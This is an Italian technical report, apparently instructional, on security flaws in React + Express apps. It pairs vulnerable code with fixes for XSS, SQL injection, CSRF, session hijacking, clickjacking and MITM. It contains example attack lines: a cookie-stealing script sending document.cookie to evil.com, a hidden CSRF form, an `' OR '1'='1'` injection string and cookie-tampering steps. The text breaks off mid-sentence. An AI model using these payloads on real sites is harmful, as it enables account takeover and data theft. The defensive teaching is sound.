

Relazione Tecnica: Analisi di Sicurezza di un'Architettura Web React + Express.js

1. Introduzione

Descrizione dell'architettura React + Express

L'architettura in esame rappresenta un modello moderno e diffuso per lo sviluppo di applicazioni web. È composta da due entità principali disaccoppiate: un frontend e un backend.

- **Frontend (React Single Page Application):** L'interfaccia utente è interamente gestita lato client dal browser. React costruisce e manipola il DOM in modo efficiente. La SPA viene servita inizialmente come un insieme di file statici (HTML, CSS, JS) e successivamente comunica con il backend esclusivamente via API per scambiare dati in formato JSON.
- **Backend (Node.js con Express.js):** Il server applicativo espone un insieme di endpoint API RESTful. Non gestisce la logica di presentazione o lo stato della UI, ma si occupa di business logic, validazione dei dati, autenticazione, autorizzazione e interazione con il database.

Flusso tipico di comunicazione client-server (SPA → API REST)

1. **Richiesta Iniziale:** Il browser (client) richiede l'index.html al server che ospita la SPA (spesso un CDN o lo stesso server Express che serve file statici).
2. **Caricamento SPA:** Il browser scarica e interpreta HTML, CSS e il bundle JavaScript di React. L'applicazione React si inizializza.
3. **Interazione Utente:** L'utente compie un'azione (es. login, caricamento dati). Il codice JavaScript nell'applicazione React effettua una chiamata HTTP asincrona (utilizzando `fetch` o librerie come `axios`) a un endpoint dell'API REST di Express.
4. **Richiesta API:** La richiesta, tipicamente in formato JSON, viaggia sulla rete dal client al server Express.
5. **Elaborazione Backend:** Express riceve la richiesta, i middleware analizzano gli header e il corpo, la richiesta viene instradata al controller corretto, che applica la logica di business e interroga il database.
6. **Risposta API:** Express invia una risposta HTTP, solitamente con un payload JSON e un appropriato status code.
7. **Aggiornamento UI:** La SPA React riceve la risposta, elabora i dati JSON e aggiorna dinamicamente porzioni specifiche dell'interfaccia utente senza ricaricare l'intera pagina. Per l'autenticazione, le credenziali (come un JWT o un cookie di sessione) vengono incluse in ogni richiesta API successiva.

Concetti base di sicurezza web

La sicurezza in questo modello si basa sul principio del "mai fidarsi del client". Il browser è un ambiente completamente controllabile dall'utente e quindi ostile per definizione. Ogni dato proveniente dal client deve essere considerato potenzialmente malevolo. I pilastri fondamentali sono la **Confidenzialità** (proteggere i dati da accessi non autorizzati), l'**Integrità** (garantire che i dati non vengano alterati) e la **Disponibilità** (garantire l'accesso ai servizi), noti come triade CIA. A questi si aggiungono Autenticazione (verifica dell'identità) e Autorizzazione (verifica dei permessi).

Importanza della sicurezza in applicazioni distribuite

In un'architettura distribuita, la superficie d'attacco si amplia notevolmente. La sicurezza non è più confinata a un singolo monolite, ma si estende al canale di comunicazione, ai due endpoint (client e server) e alle infrastrutture di rete intermedie. Una falla in uno qualsiasi di questi strati può compromettere l'intero sistema, rendendo essenziale un approccio difensivo a più livelli (defense in depth).

2. Elenco delle vulnerabilità

Di seguito sono elencate le vulnerabilità analizzate in questa relazione, classificate per area di competenza.

Vulnerabilità Applicative (Backend e Frontend):

- Cross-Site Scripting (XSS) - Riflesso e Basato su DOM
- SQL Injection
- Cross-Site Request Forgery (CSRF)

Vulnerabilità di Sessione e Autenticazione:

- Furto e manipolazione dei cookie
- Session Hijacking (Furto di sessione)

Vulnerabilità lato Rete e Comunicazione:

- Man-in-the-Middle (MITM)
- Assenza di Header di Sicurezza HTTP
- Clickjacking
- Attacchi a livello rete (ARP Spoofing, DNS Spoofing - concettuali)

Cross-Site Scripting (XSS)

1. Descrizione tecnica Lo XSS è un attacco a iniezione di codice che consente a un aggressore di eseguire script JavaScript malevoli nel browser della vittima. Si verifica quando un'applicazione include dati non validati o non sanificati nell'output che genera. Si divide principalmente in tre tipi: Riflesso (il payload è parte della richiesta HTTP), Persistente/Stored (il payload è salvato nel database) e DOM-based (la vulnerabilità risiede nel codice JavaScript lato client).

2. Come si manifesta in React + Express

- **Backend (Express):** Un endpoint API restituisce una risposta HTML (invece che JSON, pratica errata per una API REST) o JSON che include dati forniti dall'utente senza sanitarizzarli. Se il frontend inserisce questa stringa nel DOM in modo non sicuro, l'attacco va a segno.
- **Frontend (React):** Nonostante React esegua l'escaping automatico del testo, lo XSS si manifesta tipicamente tramite l'uso improprio di `dangerouslySetInnerHTML` o passando input utente non sanitizzati a funzioni come `eval()`, `document.write()` o come props a componenti che manipolano direttamente il DOM al di fuori del controllo di React.

3. Esempio di codice vulnerabile

Backend (Express.js) - API che restituisce HTML non sanitizzato

```
// VULNERABILE: Non sanitizzare l'input utente nella risposta
app.get('/api/search', (req, res) => {
  const query = req.query.q;
  // Pratica errata: inviare HTML da una API REST
  res.send(`<h1>Risultati per: ${query}</h1>`);
});
```

Frontend (React) - Uso di dangerouslySetInnerHTML con dati API

```
// VULNERABILE: Inserire dati non sanitizzati direttamente nell'HTML
function SearchResults({ resultsHtml }) {
  return <div dangerouslySetInnerHTML={{ __html: resultsHtml }} />;
}
```

4. Scenario di attacco (descrizione teorica)

1. Un aggressore invia un link a una vittima. L'URL è `https://example.com/api/search?q=<script>/*+Codice+Malevolo */</script>`.
2. La vittima clicca il link. Il browser invia la richiesta al server Express.
3. Il server costruisce la risposta HTML iniettando il tag `<script>` direttamente dalla query string.
4. La SPA React, ricevendo la risposta, la inserisce nel DOM usando `dangerouslySetInnerHTML`.
5. Il browser della vittima esegue lo script, che può rubare i cookie di sessione (`document.cookie`) e inviarli a un server controllato dall'aggressore, permettendogli di impersonare la vittima.

5. Impatto sulla sicurezza del sistema Molto Alto. L'attaccante può rubare dati sensibili, token di sessione, eseguire azioni per conto dell'utente, defacciare il sito web o reindirizzare la vittima verso siti di phishing.

6. Versione corretta del codice (mitigata)

Backend (Express) - API che restituisce JSON pulito

```
const express = require('express');
const app = express();

// CORRETTO: Restituire sempre dati strutturati (JSON), mai HTML
app.get('/api/search', (req, res) => {
  const query = req.query.q || '';
  // La validazione e la logica di business possono usare il dato in sicurezza
  const results = performSafeSearch(query);
  res.json({ results, query });
});
```

Frontend (React) - Rendering sicuro del testo con React

```
import DOMPurify from 'dompurify';

// CORRETTO: Utilizzo del testo come child (escaping automatico)
function SearchResults({ query, results }) {
  return (
    <div>
      <h1>Risultati per: {query}</h1>
      {results.map(item => <p key={item.id}>{item.title}</p>)}
    </div>
  );
}

// CORRETTO (e più sicuro): Se l'HTML è inevitabile, sanitizzarlo prima
function SafeHtmlComponent({ rawHtml }) {
  const cleanHtml = DOMPurify.sanitize(rawHtml);
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
```

7. Mitigazioni

- **Lato Backend:**
 - Non generare mai HTML da endpoint API. Restituire sempre dati in formato JSON. Lasciare il rendering al frontend.
 - Validare e sanitizzare tutti gli input in ingresso tramite librerie come `express-validator`.
 - Impostare l'header HTTP `Content-Type: application/json` in modo esplicito.
- **Lato Frontend (React):**
 - Sfruttare l'escaping automatico di JSX, passando i dati dinamici come "children" o altre props, mai tramite `dangerouslySetInnerHTML`.

- Se l'uso di `dangerouslySetInnerHTML` è assolutamente inevitabile (es. rendering di contenuti da un CMS fidato), sanitizzare SEMPRE l'HTML con una libreria robusta e mantenuta come DOMPurify prima di passarlo alla prop.
- **Lato Rete:**
 - Implementare una rigorosa **Content-Security-Policy (CSP)** che limiti le sorgenti da cui gli script possono essere eseguiti, disabilitando di fatto gli script inline non autorizzati.

SQL Injection

1. Descrizione tecnica Una vulnerabilità di SQL Injection si verifica quando dati forniti dall'utente vengono concatenati direttamente in una query SQL e inviati al database. Un aggressore può iniettare codice SQL malevolo per manipolare la query, leggere dati non autorizzati, modificarli o addirittura eseguire comandi sul sistema operativo del database server.

2. Come si manifesta in React + Express La vulnerabilità risiede interamente nel backend, tipicamente nei controller Express che costruiscono le query. Non ha manifestazione diretta nel frontend React, che si limita a inviare il payload malevolo come parte di una richiesta API apparentemente innocua.

3. Esempio di codice vulnerabile

Backend (Express.js)

```
const mysql = require('mysql2');
const connection = mysql.createConnection({ /* config */ });

// VULNERABILE: Concatenazione diretta di input utente nella query SQL
app.get('/api/users', (req, res) => {
  const username = req.query.username;
  const query = `SELECT * FROM users WHERE username = '${username}'`;

  connection.query(query, (err, results) => {
    if (err) return res.status(500).send('Server Error');
    if (results.length === 0) return res.status(404).send('User not found');
    res.json(results[0]);
  });
});
```

4. Scenario di attacco (descrizione teorica) Un aggressore invia una richiesta all'endpoint vulnerabile con un payload malevolo per il parametro `username`: `https://api.example.com/api/users?username=' OR '1'='1'` La query SQL costruita dal server diventa: `SELECT * FROM users WHERE username = '' OR '1'='1'`; Poiché `'1'='1'` è sempre vero, la condizione `WHERE` seleziona tutte le righe della tabella `users`. Il server restituirà il primo utente trovato, che spesso è l'amministratore, bypassando completamente l'autenticazione.

5. Impatto sulla sicurezza del sistema Critico. Può portare a una completa compromissione del database: bypass di autenticazione, furto di dati sensibili (es. credenziali, dati finanziari), alterazione o cancellazione di dati.

6. Versione corretta del codice (mitigata)

Backend (Express.js) - Uso di Prepared Statements

```
// CORRETTO: Utilizzo di Prepared Statements (conferisce immunità all'iniezione)
app.get('/api/users', (req, res) => {
  const username = req.query.username;
  const query = 'SELECT * FROM users WHERE username = ?';

  connection.execute(query, [username], (err, results) => {
    if (err) {
      console.error(err);
      return res.status(500).send('Internal Server Error');
    }
    if (results.length === 0) return res.status(404).send('User not found');
    res.json(results[0]);
  });
});
```

7. Mitigazioni

- **Lato Backend (la più critica):**

- Utilizzare **Prepared Statements** (o query parametrizzate) per il 100% delle interazioni con il database. Questo meccanismo separa la struttura della query SQL dai dati, rendendo impossibile l'iniezione di codice.
- Utilizzare ORM (Object-Relational Mapping) come Sequelize o TypeORM, che internamente utilizzano prepared statements.
- Applicare il **principio del minimo privilegio** per l'utente del database usato dall'applicazione. Non deve avere permessi come **DROP TABLE** se non necessario.

- **Lato Frontend:**

- Nessuna. La sicurezza contro SQL Injection è esclusiva responsabilità del backend. Il frontend può implementare validazioni lato client per UX, ma non forniscono alcuna protezione.

- **Lato Rete:**

- L'uso di HTTPS è fondamentale per cifrare la richiesta, impedendo a un attaccante passivo di intercettare il payload malevolo in transito. Non previene l'attacco, ma ne ostacola l'analisi.

Cross-Site Request Forgery (CSRF)

1. Descrizione tecnica CSRF è un attacco che forza un utente autenticato a eseguire azioni indesiderate su un'applicazione web. Sfrutta la fiducia che un sito ha nell'identità di un utente il cui browser invia automaticamente credenziali (come i cookie di sessione) con ogni richiesta. L'attaccante induce la vittima a compiere un'azione (es. cliccare un link, caricare un'immagine) che genera una richiesta malevola verso il sito target.

2. Come si manifesta in React + Express La vulnerabilità è primariamente nel modo in cui il server Express gestisce l'autenticazione. Se l'applicazione usa solo cookie di sessione e non implementa alcuna protezione CSRF (come un token anti-CSRF), è vulnerabile. In una SPA, l'attacco può essere innescato inducendo la vittima a visitare una pagina web malevola contenente un form nascosto che fa una POST automatica all'API del backend.

3. Esempio di codice vulnerabile

Backend (Express.js) - Endpoint senza protezione CSRF

```
const session = require('express-session');
app.use(session({ secret: '...', resave: false, saveUninitialized: true }));
app.use(express.json());

// VULNERABILE: L'endpoint non verifica un token CSRF.
// Se l'utente ha un cookie di sessione valido, qualsiasi richiesta POST da
// qualsiasi origine è accettata.
app.post('/api/change-email', (req, res) => {
  if (!req.session.userId) {
    return res.status(401).send('Non autenticato');
  }
  const newEmail = req.body.email;
  // Aggiorna l'email nel database per req.session.userId
  updateUserEmail(req.session.userId, newEmail);
  res.send('Email aggiornata con successo');
});
```

Frontend (React) - (non vulnerabile di per sé, ma invia la richiesta)

```
// Il componente React fa una semplice chiamata POST
function ChangeEmailForm() {
  const handleSubmit = async (event) => {
    event.preventDefault();
    const email = event.target.email.value;
    // I cookie di sessione sono automaticamente inclusi dal browser
    await fetch('/api/change-email', { method: 'POST', body: JSON.stringify({
email }), headers: { 'Content-Type': 'application/json' } });
  };
  // ... JSX del form
}
```

4. Scenario di attacco (descrizione teorica)

1. La vittima si autentica su <https://banca.example.com>, che imposta un cookie di sessione.
2. La vittima, senza fare logout, visita un forum malevolo (evil.com).
3. La pagina su evil.com contiene un form nascosto:

```
<form action="https://banca.example.com/api/change-email" method="POST"
id="malicious-form">
  <input type="hidden" name="email" value="hacker@evil.com">
</form>
<script>document.getElementById('malicious-form').submit();</script>
```

4. Appena la pagina si carica, il JavaScript invia il form verso l'API della banca. Il browser della vittima include automaticamente il cookie di sessione valido.
5. Il server Express riceve la richiesta, verifica il cookie di sessione (valido) e aggiorna l'email dell'account della vittima con hacker@evil.com. L'attaccante ora può richiedere un reset della password e prendere il controllo dell'account.

5. Impatto sulla sicurezza del sistema Alto. Permette a un attaccante di eseguire azioni indesiderate per conto di un utente autenticato, come cambiare dettagli dell'account, effettuare transazioni finanziarie o cancellare dati.

6. Versione corretta del codice (mitigata)

Backend (Express.js) - Con protezione CSRF basata su token

```
const csrf = require('csrf');
const cookieParser = require('cookie-parser');

app.use(cookieParser());
const csrfProtection = csrf({ cookie: true });

// 1. Endpoint per fornire il token CSRF al frontend
app.get('/api/csrf-token', csrfProtection, (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});
```

```
});

// 2. Endpoint protetto
app.post('/api/change-email', csrfProtection, (req, res) => {
  if (!req.session.userId) {
    return res.status(401).send('Non autenticato');
  }
  // Se la richiesta arriva qui, il token CSRF è valido
  const newEmail = req.body.email;
  updateUserEmail(req.session.userId, newEmail);
  res.send('Email aggiornata con successo');
});
```

Frontend (React) - Invio del token CSRF

```
function ChangeEmailForm() {
  const [csrfToken, setCsrfToken] = useState('');

  useEffect(() => {
    fetch('/api/csrf-token', { credentials: 'include' })
      .then(res => res.json())
      .then(data => setCsrfToken(data.csrfToken));
  }, []);

  const handleSubmit = async (event) => {
    event.preventDefault();
    const email = event.target.email.value;
    await fetch('/api/change-email', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'Content-Type': 'application/json',
        'CSRF-Token': csrfToken // Il server verifica questo header
      },
      body: JSON.stringify({ email })
    });
  };
  // ... JSX del form
}
```

7. Mitigazioni

- **Lato Backend:**
 - **Token CSRF (Synchronizer Token Pattern):** Implementare middleware come `csurf`. Il server invia un token univoco e imprevedibile al client (es. in un cookie non `HttpOnly` o in un endpoint dedicato). Il client lo rispedisce in un header HTTP o in un campo del form. Il server verifica la corrispondenza. Una SPA può gestire questo flusso perfettamente.
 - **Cookie SameSite:** Impostare l'attributo `SameSite` a `Strict` o `Lax` nei cookie di sessione. `SameSite=Strict` istruisce il browser a non inviare il cookie per *nessuna* richiesta cross-site,

bloccando di fatto tutti gli attacchi CSRF classici. **Lax** offre una buona protezione per le richieste POST, inviando il cookie solo per navigazioni top-level sicure (es. click su un link).

- **Lato Frontend:**

- Recuperare il token CSRF e includerlo in ogni richiesta di modifica stato (POST, PUT, DELETE).

- **Lato Rete:**

- L'uso di HTTPS è imprescindibile per prevenire che il token CSRF venga intercettato da un MITM.

Furto e Manipolazione dei Cookie / Session Hijacking

1. Descrizione tecnica I cookie di sessione sono l'identificatore principale di un utente dopo l'autenticazione. Il furto di questo identificatore permette all'attaccante di "impersonare" la vittima senza conoscerne le credenziali. La manipolazione, invece, può alterare dati fidati presenti nel cookie (se non firmati) per bypassare controlli di autorizzazione o corrompere lo stato dell'applicazione.

2. Come si manifesta in React + Express

- **Furto:** Tipicamente tramite un attacco XSS che legge `document.cookie` o tramite intercettazione di rete su canali non cifrati (HTTP). Anche un accesso fisico alla macchina della vittima può portare al furto.
- **Manipolazione:** Se il server Express utilizza cookie lato client per memorizzare dati di sessione (es. `cookie-session` senza crittografia o firma debole), un utente malintenzionato può decodificare il Base64, alterare i valori (es. cambiare `"userId": 123` in `"userId": 1`), ricodificarlo e inviarlo al server, che tratterà l'utente come un amministratore.

3. Esempio di codice vulnerabile

Backend (Express.js) - Cookie non protetti e sessione lato client non firmata

```
const session = require('express-session');
// VULNERABILE: Configurazione di default del cookie senza flag di sicurezza
app.use(session({
  secret: 'unsafe-secret',
  resave: false,
  saveUninitialized: true,
  // cookie: { secure: false, httpOnly: false, sameSite: false } (default non sicuri)
}));

// VULNERABILE a XSS e furto di sessione
// VULNERABILE a MITM se non viene forzato HTTPS
```

4. Scenario di attacco (descrizione teorica)

- **Furto:** Un'applicazione è vulnerabile a XSS. L'attaccante inietta uno script che esegue `new Image().src = "https://evil.com/steal?c=" + document.cookie;`. Il server dell'attaccante logga il cookie di sessione. L'attaccante copia il cookie, lo imposta nel proprio browser (es. tramite DevTools o un'estensione) e visita il sito target, ottenendo accesso come la vittima.
- **Manipolazione:** Un'applicazione usa `cookie-session`. L'utente malintenzionato guarda il suo cookie: `eyJ1c2VySWQiOiJyMywgImFkbWluIjpmYXxzZX0=`. Decodifica il Base64, scopre il JSON `{"userId":123, "admin":false}`, lo modifica in `{"userId":1, "admin":true}`, lo ricodifica e lo invia. Il server ora considera l'utente un amministratore.

5. Impatto sulla sicurezza del sistema Molto Alto. Il Session Hijacking porta al completo account takeover. La manipolazione dei cookie può portare a privilege escalation (un utente normale ottiene diritti di amministratore).

6. Versione corretta del codice (mitigata)

Backend (Express.js) - Cookie sicuri e sessione lato server

```
const session = require('express-session');
app.use(session({
  secret: process.env.SESSION_SECRET, // Segreto robusto, mai hardcoded
  name: 'sessionId', // Non usare il nome di default 'connect.sid'
  resave: false,
  saveUninitialized: false, // Non creare sessioni per utenti non autenticati
  store: new RedisStore({ client: redisClient }), // Memorizzare la sessione lato server!
  cookie: {
    secure: true, // Inviato solo su HTTPS
    httpOnly: true, // Inaccessibile da JavaScript (mitiga furto via XSS)
    sameSite: 'strict', // Mitigazione contro CSRF
    maxAge: 3600000 // Durata limitata (es. 1 ora)
  }
}));

// Forzare HTTPS anche a livello di app
app.set('trust proxy', 1); // Necessario dietro reverse proxy (es. Nginx)
```

7. Mitigazioni

- **Lato Backend:**
 - **Cookie di Sessione:**
 - **Secure:** Impostarlo a **true**. Il browser invierà il cookie solo su connessioni HTTPS.
 - **HttpOnly:** Impostarlo a **true**. Impedisce a JavaScript di accedere al cookie, mitigando efficacemente il furto tramite XSS.
 - **SameSite:** Impostarlo a **Strict** o **Lax** per un'ulteriore difesa.
 - **Session Store:** Non memorizzare mai l'intero stato della sessione nel cookie lato client. Usare un session store lato server (Redis, Memcached, database) e usare il cookie solo come chiave di sessione opaca e casuale.
 - **Token JWT:** Se si usano JWT al posto dei cookie, non memorizzarli mai in **localStorage** o **sessionStorage** (vulnerabili a XSS). Memorizzarli in un cookie HttpOnly e Secure. Il cookie verrà inviato automaticamente, proteggendo il token.
- **Lato Frontend:**
 - Non avendo accesso ai cookie HttpOnly, il frontend non deve mai implementare logiche di lettura/scrittura manuale del token JWT o di sessione in storage non sicuri.

Clickjacking

1. Descrizione tecnica Il clickjacking (o "UI redress attack") è una tecnica che induce un utente a cliccare su un elemento apparentemente innocuo, mentre in realtà sta cliccando su un elemento trasparente o nascosto di un'altra pagina, sovrapposta tramite un iframe. L'utente pensa di cliccare un pulsante sulla pagina che sta vedendo, ma il suo click viene "dirottato" verso l'elemento della pagina in iframe.

2. Come si manifesta in React + Express La vulnerabilità non è nel codice React o Express in sé, ma nell'assenza di header HTTP di difesa. L'attaccante può creare una pagina su evil.com che include un iframe con `src="https://banca.example.com/trasferisci"`. Con CSS, l'iframe viene reso trasparente e sovrapposto esattamente sopra un pulsante "Vinci un iPhone". La vittima, autenticata sul sito della banca, clicca su "Vinci un iPhone", ma in realtà sta cliccando il pulsante "Trasferisci 1000€".

3. Esempio di codice vulnerabile Non c'è codice vulnerabile lato applicativo. La vulnerabilità è una mancata configurazione del server Express.

4. Scenario di attacco (descrizione teorica) Descritto nella sezione "Come si manifesta". L'attaccante non ha bisogno di iniettare codice nel sito target, ma sfrutta semplicemente la possibilità di incapsularlo in un iframe.

5. Impatto sulla sicurezza del sistema Alto. L'attaccante può far eseguire azioni all'utente sul sito target all'insaputa di quest'ultimo, sfruttando il suo stato di autenticazione.

6. Versione corretta del codice (mitigata) Non esiste un "codice corretto" in JavaScript, ma una configurazione del server web.

Backend (Express.js) - Header di sicurezza

```
const helmet = require('helmet');

// Abilita X-Frame-Options per prevenire il clickjacking
app.use(helmet.frameguard({ action: 'deny' })); // Impedisce del tutto il
caricamento in iframe
// Oppure action: 'sameorigin' per permetterlo solo dallo stesso dominio

// Configurazione manuale dell'header
// app.use((req, res, next) => {
//   res.setHeader('X-Frame-Options', 'DENY');
//   next();
// });
```

7. Mitigazioni

- **Lato Backend:**
 - Impostare l'header HTTP `X-Frame-Options` a `DENY` (blocco totale) o `SAMEORIGIN` (consentito solo dal proprio dominio). Il middleware `helmet` di Express lo rende banale.
 - In alternativa, usare la direttiva `frame-ancestors 'none'` o `frame-ancestors 'self'` nella **Content-Security-Policy**. Questo approccio è più moderno e flessibile.
- **Lato Frontend:**

- Nessuna mitigazione significativa. È una difesa a livello di risposta HTTP del server.

Man-in-the-Middle (MITM)

1. Descrizione tecnica Un attacco MITM si verifica quando un aggressore si inserisce in modo trasparente nella comunicazione tra due parti (client e server) per intercettare, e potenzialmente alterare, i dati scambiati. L'attaccante fa credere a entrambe le parti di star comunicando direttamente tra loro. Questo è tipicamente realizzato tramite ARP spoofing su reti locali, rogue access point Wi-Fi o compromissione di un router.

2. Come si manifesta in React + Express La vulnerabilità non è nell'applicazione, ma nel canale di trasporto. Se l'applicazione comunica via HTTP (non cifrato), un aggressore sulla stessa rete può vedere tutto il traffico in chiaro (credenziali, token, dati sensibili). Anche con HTTPS, se il server non è configurato per forzare il traffico cifrato o se l'utente può essere indotto ad accettare certificati non validi (es. con SSLstrip), l'attacco è possibile.

3. Esempio di codice vulnerabile

Frontend (React) - Richiesta verso endpoint HTTP

```
// VULNERABILE: La richiesta è in chiaro
fetch('http://api.example.com/login', {
  method: 'POST',
  body: JSON.stringify({ username: 'mario', password: 'password123' })
});
```

Backend (Express.js) - Server in ascolto su HTTP

```
// VULNERABILE: Server avviato su HTTP
app.listen(3000, () => console.log('Server HTTP in ascolto sulla porta 3000'));
```

4. Scenario di attacco (descrizione teorica)

1. La vittima si connette a una rete Wi-Fi pubblica di un bar.
2. Un aggressore sulla stessa rete esegue un attacco di ARP spoofing, facendo credere al router di essere il client e al client di essere il router. Tutto il traffico della vittima passa ora attraverso la macchina dell'attaccante.
3. La vittima visita <http://banca.example.com> e fa il login. La richiesta, viaggiando in HTTP, contiene username e password in chiaro.
4. L'attaccante usa un packet sniffer (es. Wireshark) per catturare il traffico di rete e leggere le credenziali, rubandole.

5. Impatto sulla sicurezza del sistema Critico. Può portare al furto di qualsiasi dato trasmesso: credenziali, dettagli finanziari, token di sessione, JWT, informazioni personali.

6. Versione corretta del codice (mitigata)

Frontend (React) - Richiesta verso endpoint HTTPS


```
// CORRETTO: La richiesta è sempre su HTTPS
fetch('https://api.example.com/login', {
  method: 'POST',
  body: JSON.stringify({ username: 'mario', password: 'password123' })
});
```

Backend (Express.js) - Server HTTPS e reindirizzamento HTTP→HTTPS

```
const https = require('https');
const fs = require('fs');
const express = require('express');
const app = express();
const httpApp = express();

// Configurazione HTTPS
const options = {
  key: fs.readFileSync('/path/to/privkey.pem'),
  cert: fs.readFileSync('/path/to/cert.pem')
};

// Reindirizzamento permanente da HTTP a HTTPS (buona pratica)
httpApp.get('*', (req, res) => {
  res.redirect(301, `https://${req.headers.host}${req.url}`);
});

httpApp.listen(80, () => console.log('Reindirizzamento HTTP sulla porta 80'));
https.createServer(options, app).listen(443, () => console.log('Server HTTPS sulla porta 443'));
```

7. Mitigazioni

- **Lato Rete (la più critica):**
 - **HTTPS Everywhere:** Utilizzare HTTPS per *tutte* le comunicazioni, anche quelle apparentemente non sensibili. L'uso di TLS 1.2 o superiore cifra l'intero canale di comunicazione, rendendo i dati intercettati incomprensibili per un attaccante MITM passivo.
 - **HSTS:** L'intestazione **Strict-Transport-Security** istruisce il browser a connettersi solo tramite HTTPS per quel dominio e per un periodo di tempo specificato. Previene attacchi di downgrade a HTTP (come SSLstrip).
 - **Certificate Pinning (in ambienti controllati):** Fissare il certificato atteso nel client (es. app mobile) per prevenire attacchi con certificati fraudolenti emessi da CA compromesse.
- **Lato Backend:**
 - Forzare il reindirizzamento di tutte le richieste HTTP a HTTPS a livello di applicazione o di reverse proxy.
- **Lato Frontend:**
 - Le chiamate API devono sempre usare URL **https://**.

Approfondimento sulla Sicurezza della Rete

Differenza tra HTTP e HTTPS

- **HTTP (Hypertext Transfer Protocol):** Protocollo a livello applicativo che trasmette dati in chiaro. Ogni intermediario sulla rete (router, switch, ISP) può leggere e modificare il contenuto della comunicazione.
- **HTTPS (HTTP over TLS/SSL):** Avvolge HTTP in un tunnel crittografico fornito da TLS (Transport Layer Security). Garantisce tre proprietà fondamentali:
 1. **Cifratura:** I dati sono illeggibili per terzi.
 2. **Integrità:** I dati non possono essere alterati durante il transito.
 3. **Autenticazione del Server:** Il server prova la sua identità al client tramite un certificato digitale, prevenendo attacchi di impersonificazione.

TLS e concetto di handshake

L'handshake TLS è la procedura iniziale che stabilisce una connessione sicura:

1. **ClientHello:** Il client invia al server la versione TLS supportata, gli algoritmi crittografici disponibili (cipher suite) e un numero casuale.
2. **ServerHello:** Il server risponde scegliendo la cipher suite, invia il suo numero casuale e invia il suo certificato digitale (contenente la chiave pubblica).
3. **Autenticazione e Pre-Master Secret:** Il client verifica il certificato del server. Genera un "Pre-Master Secret", lo cifra con la chiave pubblica del server e lo invia. Solo il server, con la sua chiave privata, può decifrarlo.
4. **Generazione Chiavi di Sessione:** Sia client che server usano i due numeri casuali e il Pre-Master Secret per generare indipendentemente la stessa "Master Secret", da cui derivano le chiavi di sessione simmetriche per cifrare e decifrare la comunicazione successiva.

Questo processo garantisce che le chiavi di sessione siano note solo a client e server.

Rischi di Man-in-the-Middle (MITM)

Come discusso, su una rete non sicura (es. HTTP) un MITM può leggere e alterare ogni dato. Su una rete configurata con HTTPS, un MITM deve superare la barriera della cifratura TLS. Tecniche come l'ARP spoofing (iniezione di associazioni IP-MAC false nella cache ARP della vittima) o il DNS spoofing (avvelenamento della cache DNS per risolvere un hostname verso un IP malevolo) sono vettori di attacco a livello 2 e 3 che permettono di instradare il traffico della vittima verso l'attaccante, ma senza una CA compromessa, l'attaccante non sarà in grado di presentare un certificato valido per il dominio target. Il browser mostrerà un avviso di sicurezza. Tuttavia, in scenari senza HSTS, un attaccante può usare SSLstrip per downgradare forzatamente la connessione HTTPS a HTTP in modo trasparente per l'utente, aggirando la protezione TLS.

Packet Sniffing su reti non sicure

Su una rete dove il traffico non è cifrato (HTTP puro), un qualsiasi strumento di packet sniffing (Wireshark, tcpdump) può catturare tutti i pacchetti in transito. Un attaccante può facilmente filtrare il traffico HTTP e ricostruire intere sessioni di navigazione, leggendo ogni form inviato, ogni cookie, ogni token JWT passato in header o parametri URL. Su una rete switchata, l'ARP spoofing diventa il metodo più comune per forzare il traffico a passare attraverso la macchina dell'attaccante e abilitare lo sniffing.

DNS Spoofing (Concettuale)

L'attaccante corrompe la cache di un resolver DNS, facendo sì che la risoluzione di un nome di dominio (es. **banca.com**) restituisca un indirizzo IP da lui controllato, non quello del server legittimo. La vittima, digitando l'URL corretto, viene reindirizzata a una copia malevola del sito. Su HTTP, l'inganno è impercettibile. Su HTTPS, l'attaccante non può presentare un certificato valido per **banca.com**, quindi il browser bloccherà la connessione e avviserà l'utente, a meno che la vittima non ignori attivamente l'avviso o non abbia precedentemente installato un certificato CA dell'attaccante (tipico in ambienti enterprise con TLS inspection).

ARP Spoofing (Concettuale)

L'Address Resolution Protocol (ARP) risolve indirizzi IP in indirizzi MAC su una rete locale. Un attaccante può inviare messaggi ARP falsificati, associando il suo MAC all'IP del gateway di default. Di conseguenza, tutto il traffico della vittima destinato a internet viene inviato all'attaccante invece che al router. L'attaccante può quindi inoltrare il traffico (agendo da MITM) per lo sniffing o la modifica. È un attacco potente ma limitato alla rete locale dell'attaccante.

Sicurezza del trasporto dati

Garantire la sicurezza del trasporto dati significa assicurare che il canale tra client e server sia autentico, confidenziale e integro. Le best practice includono:

1. **Adozione universale di HTTPS con TLS 1.2 o 1.3.**
2. **Configurazione di HSTS** per eliminare la finestra di downgrade.
3. **Disabilitazione di cipher suite obsolete e insicure** a livello di server.
4. Per applicazioni ad alta sicurezza, prendere in considerazione l'uso del **Certificate Pinning** in client controllati (es. app mobile), con la consapevolezza dei rischi di gestione.

HTTP Security Headers

Gli header di sicurezza HTTP sono un insieme di direttive che il server invia al browser per istruirlo su comportamenti di sicurezza aggiuntivi. Sono la prima e più basilare linea di difesa contro attacchi come XSS e Clickjacking.

Configurazione in Express con Helmet

helmet è un middleware per Express.js che imposta una serie di questi header di default. È la soluzione consigliata per la sua semplicità e manutenibilità.

```
const express = require('express');
const helmet = require('helmet');

const app = express();
app.use(helmet()); // Abilita una configurazione di base ragionevole

// Configurazione personalizzata
app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", 'https://trusted-cdn.com'],
        styleSrc: ["'self'", "'unsafe-inline'", 'https://fonts.googleapis.com'],
        imgSrc: ["'self'", 'data:', 'https:'],
        connectSrc: ["'self'", 'https://api.example.com'],
        frameAncestors: ["'none'"], // Sostituisce X-Frame-Options
      },
    },
    hsts: {
      maxAge: 31536000, // 1 anno in secondi
      includeSubDomains: true,
      preload: true,
    },
    frameguard: { action: 'deny' }, // X-Frame-Options
    referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
    permittedCrossDomainPolicies: { permittedPolicies: 'none' }, // Per
    Flash/Adobe cross-domain
  })
);
```

Di seguito l'analisi dei singoli header:

1. Content-Security-Policy (CSP)

- **Header:** Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; frame-ancestors 'none';
- **Spiegazione:** È un potente meccanismo per mitigare XSS e Clickjacking. Definisce una "whitelist" di origini autorizzate per risorse come script, stili, immagini, font, etc. Con **script-src 'self'**, il

